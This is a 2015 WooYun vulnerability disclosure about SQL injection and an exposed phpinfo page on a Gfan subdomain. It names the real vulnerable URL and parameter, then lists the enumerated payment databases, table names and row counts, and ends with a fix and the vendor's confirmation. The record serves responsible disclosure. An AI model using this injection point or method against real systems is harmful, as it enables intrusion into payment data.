当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108681

漏洞标题:机锋网某站点Mysql注入&phpinfo

相关厂商:机锋网

漏洞作者: 大懒

提交时间:2015-04-17 21:02

修复时间:2015-06-01 21:32

公开时间:2015-06-01 21:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-17: 细节已通知厂商并且等待厂商处理中
2015-04-17: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向核心白帽子及相关领域专家公开
2015-05-07: 细节向普通白帽子公开
2015-05-17: 细节向实习白帽子公开
2015-06-01: 细节向公众公开

简要描述:

机锋网某站点存在mysql注入及phpinfo

详细说明:

首先扫到了phpinfo这个文件,
http://my.gfan.com/info.php

1.png


然后就想着找一找注入和文件包含这样的漏洞,于是就在my.gfan.com找到一个注入点
POST URL:http://my.gfan.com/account
POST参数approach=chargeweb&chargeend=2013-06-15&chargepayment=1&chargestart=2013-06-15&chargestatus=2&types=charge
问题参数:chargepayment
current user: 'my_web@10.8.8.%'
可惜当前的用户是他,权限不够。
不过这里毕竟是一个风险,花时间还是可以Getshell的

2.png

漏洞证明:

available databases [4]:
[*] gfan_game
[*] gfan_gamepay
[*] gfan_pay
[*] information_schema
Database: gfan_pay
[63 tables]
+------------------------------+
| user |
| action_type |
| admin_operate_log |
| admin_user |
| app_info_apk |
| card_config |
| channel |
| charge_log |
| check_check_info |
| check_check_status |
| client_channel |
| consume_log |
| contrast_appkey_productid |
| login_log_20121222 |
| login_log_tmp |
| payorder_status_log |
| rebate_info |
| recharge_alipay_notify_log |
| recharge_channel |
| recharge_channel_account |
| recharge_dic_channel |
| recharge_log |
| recharge_mo9_notify_log |
| recharge_order |
| recharge_order_history |
| recharge_order_operate_log |
| recharge_order_reb |
| recharge_request |
| recharge_submit |
| recharge_tenpay_notify_log |
| recharge_uc_recharge_log |
| recharge_unionpay_notify_log |
| recharge_unionpay_trade_log |
| sdk_app |
| sdk_message_client_log |
| sdk_message_pay_log |
| sdk_pay_log |
| sdk_pay_point_arrive |
| sdk_save_ios_order |
| sdk_sp_dictionary |
| sdk_sp_sms |
| shenzhoufu |
| sp_channelinfo_admini |
| sp_companyinfo_admini |
| sp_developerinfo_admini |
| sp_errormessages_log |
| sp_install_forwardtell_log |
| sp_partname_admini |
| sp_pay_forwardtell_log |
| sp_spcustom_admini |
| sp_statusreport_log |
| sp_support_admini |
| sp_uploadinterface_log |
| sp_userinfo_admini |
| sp_version_admini |
| test |
| tgr_getcharge_logbyuid |
| tgr_getconsume_logbyuid |
| tgr_getsdk_appbyuid |
| uc_pay_log |
| uc_uid_imei |
| user_payorder_url |
| wap_test |
+------------------------------+
Database: gfan_gamepay
+-------------------+---------+
| Table | Entries |
+-------------------+---------+
| gamepay_order | 49027 |
| gamepay_usercheck | 44 |
| gamepay_server | 43 |
| gamepay_qz | 32 |
| gamepay_channel | 5 |
| gamepay_rate | 3 |
| gamepay_param | 2 |
+-------------------+---------+

修复方案:

1.删除phpinfo
2.过滤单引号及对业务无影响的特殊字符

版权声明:转载请注明来源 大懒@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-17 21:30

厂商回复:

修复中,谢谢。

最新状态:

暂无